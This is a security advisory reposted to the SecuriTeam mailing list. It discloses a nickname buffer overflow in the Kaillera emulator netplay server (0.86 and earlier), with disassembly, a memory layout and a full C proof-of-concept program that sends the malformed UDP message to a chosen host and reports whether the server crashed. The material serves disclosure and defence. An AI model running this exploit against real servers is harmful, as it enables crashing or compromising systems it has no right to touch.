[NEWS] Kaillera Code Execution



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Kaillera Code Execution
------------------------------------------------------------------------


SUMMARY

" <http://www.kaillera.com/> Kaillera enables emulators to play on the
Internet."

Improper handling of user input allows attackers to execute arbitrary code
using Kaillera.

DETAILS

Vulnerable Systems:
* Kaillera version 0.86 and prior

The handling of almost all the Kaillera messages is made through the
reading of the first NULL terminated string and the subsequent reading of
the remaining data in the message (its content will be parsed in another
step).
For these operations Kaillera uses a static buffer of 32 bytes and a data
buffer which is reallocated everytime that the size of the client message
is bigger than the actual allocated size of the buffer.
The instructions which handle these types of messages start from about
offset 004019f1 of the Windows server 0.86:

004019F1 |. 33C9 XOR ECX,ECX
004019F3 |. 8A06 MOV AL,BYTE PTR DS:[ESI]
004019F5 |. 57 PUSH EDI
004019F6 |. 84C0 TEST AL,AL
004019F8 |. 74 0C JE SHORT KAILLERA.00401A06
004019FA |> 46 /INC ESI
004019FB |. 88440B 04 |MOV BYTE PTR DS:[EBX+ECX+4],AL
004019FF |. 41 |INC ECX
00401A00 |. 8A06 |MOV AL,BYTE PTR DS:[ESI]
00401A02 |. 84C0 |TEST AL,AL
00401A04 |.^75 F4 \JNZ SHORT KAILLERA.004019FA
00401A06 |> 8B6C24 18 MOV EBP,DWORD PTR SS:[ESP+18]
00401A0A |. C64419 04 00 MOV BYTE PTR DS:[ECX+EBX+4],0
00401A0F |. 2BE9 SUB EBP,ECX
00401A11 |. 8BCB MOV ECX,EBX
00401A13 |. 83ED 02 SUB EBP,2
00401A16 |. 55 PUSH EBP
00401A17 |. E8 D4FCFFFF CALL KAILLERA.004016F0
00401A1C |. 8B7B 24 MOV EDI,DWORD PTR DS:[EBX+24]
00401A1F |. 8BCD MOV ECX,EBP
00401A21 |. 8BD1 MOV EDX,ECX
00401A23 |. 46 INC ESI
00401A24 |. C1E9 02 SHR ECX,2
00401A27 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>

which can be traduced (more or less) in C like the following code:

static char nick[32],
*data;
...
int nick_size,
data_size;

for(nick_size = 0; *client_msg; nick_size++, client_msg++) {
nick[nick_size] = *client_msg;
}
nick[nick_size] = 0;
client_msg++;
data_size = (client_msg_size - nick_size) - 2;
data = 004016f0(data_size); // realloc data if needed
memcpy(data, client_msg, data_size);

...

004016f0(int size) {
if(size <= data_alloc_size) return;
do {
data_alloc_size <<= 1;
} while(size > data_alloc_size);
data = realloc(data, data_alloc_size);
}

If an attacker uses a nickname longer than 32 bytes he can overwrite the
address of the data buffer and the value in which is stored its actual
allocated size, the following scheme shows that piece of memory:

ooooooooooooooooooooooooooooooooXXXXYYYY
| | |
| | amount of data currently allocated
| pointer to the data buffer
static buffer of 32 bytes

With the overwriting of YYYY we can bypass the first check made by the
function at offset 004016f0 which does a realloc of the buffer if needed
since we control the actual allocated size and then we can decide where
copying the rest of our message in the memory of the server since the
address of data XXXX is controlled by us too.
That leads to the possibility of executing malicious code.

Proof of Concept:
The header file winerr.h can be found at:
<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>
http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html
kailleraex.c:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define ONESEC 1
#endif

#define VER "0.1"
#define PORT 27888
#define BUFFSZ 0xffff
#define NICK "nickname_aaaaaaaaaaaaaaaaaaaaaaa" \
"bbbb" /* EDI */ \
"cccc" /* EAX */

int put08(u_char *data, int num);
int put16(u_char *data, int num);
int putsc(u_char *data, u_char *src);

void delimit(u_char *data);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int
err);
int timeout(int sock, int secs);
u_int resolv(char *host);
void std_err(void);

struct sockaddr_in peer;

int main(int argc, char *argv[]) {
float ver = 0.83;
int sd,
seq,
len;
u_short port = PORT;
u_char *buff,
*p,
*t;

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

setbuf(stdout, NULL);

fputs("\n"
"Kaillera <= 0.86 possible code execution "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);

if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%hu)]\n"
"\n", argv[0], port);
exit(1);
}

if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));

buff = malloc(BUFFSZ);
if(!buff) std_err();

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

redo:
len = sprintf(buff, "HELLO%1.2f", ver);
len = send_recv(sd, buff, len, buff, BUFFSZ, 1);
if(memcmp(buff, "HELLOD00D", 9)) {
if(!strcmp(buff, "VER")) {
ver += 0.01;
printf("- try version %1.2f\n", ver);
goto redo;
}
printf("\nError: wrong reply from the server: %s\n\n", buff);
exit(1);
}

seq = 0;
peer.sin_port = htons(atoi(buff + 9));

printf("- connect to port %hu\n", ntohs(peer.sin_port));

p = buff;
p += put08(p, 1); // number of messages

p += put16(p, seq++); // sequence
t = p; p += 2; // size of message
p += put08(p, 3); // type of message
// message:
p += putsc(p, NICK);
p += putsc(p, "emulator");
p += put08(p, 1);

put16(t, (p - t) - 1);

printf(
"- send malformed message:\n"
" data = 0x%08x\n"
" data_size = 0x%08x\n",
*(uint32_t *)(NICK + 32),
*(uint32_t *)(NICK + 32 + 4));
len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0);

sleep(ONESEC);

printf("- check server:\n");
len = sprintf(buff, "HELLO%1.2f", ver);
len = send_recv(sd, buff, len, buff, BUFFSZ, 0);
if(len < 0) {
printf("\n Server IS vulenrable!!!\n\n");
} else {
printf("\n Server doesn't seem vulenrable\n\n");
}
close(sd);
return(0);
}

int put08(u_char *data, int num) {
data[0] = num;
return(1);
}

int put16(u_char *data, int num) {
data[0] = num;
data[1] = num >> 8;
return(2);
}

int putsc(u_char *data, u_char *src) {
return(sprintf(data, "%s", src) + 1);
}

void delimit(u_char *data) {
while(*data && (*data != '\n') && (*data != '\r')) data++;
*data = 0;
}

int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int
err) {
int retry,
len;

if(in && !out) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
return(0);

} else if(in) {
for(retry = 3; retry; retry--) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
if(!timeout(sd, 1)) break;
}

if(!retry) {
goto timeout_received;
}

} else {
if(timeout(sd, 3) < 0) {
goto timeout_received;
}
}

len = recvfrom(sd, out, outsz, 0, NULL, NULL);
if(len < 0) std_err();
return(len);

timeout_received:
if(err) {
printf("\nError: socket timeout, no reply received\n\n");
exit(1);
}
return(-1);
}

int timeout(int sock, int sec) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = sec;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}

u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)hp->h_addr;
}
return(host_ip);
}

#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/kailleraex-adv.txt>
http://aluigi.altervista.org/adv/kailleraex-adv.txt



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [NT] Timbuktu Pro Multiple Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int putcc; ... fsize = sizeof- 1; ... buff = malloc; ...
    (Securiteam)
  • [NT] Liero Xtreme Multiple Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... master server) are supported". ... int main{ ... len = send_recv(sd, buff, len, buff, sizeof(buff), 1); ...
    (Securiteam)
  • [NT] Quicktime Player HTTP Error Message Buffer Overflow
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int hex2bin; ... struct sockaddr_in peer; ... buff = NULL; ...
    (Securiteam)
  • [NT] WinCom LPD Total Multiple Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... have been discovered in WinCom LPD Total, these allow a remote attacker to ... void fgetz(u8 *data, int size, FILE *fd); ... buff = malloc; ...
    (Securiteam)
  • [NEWS] Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Buffer Overflows) ... The buffers in which the server stores these two strings have a size of 64 ... int alen, ulen; ...
    (Securiteam)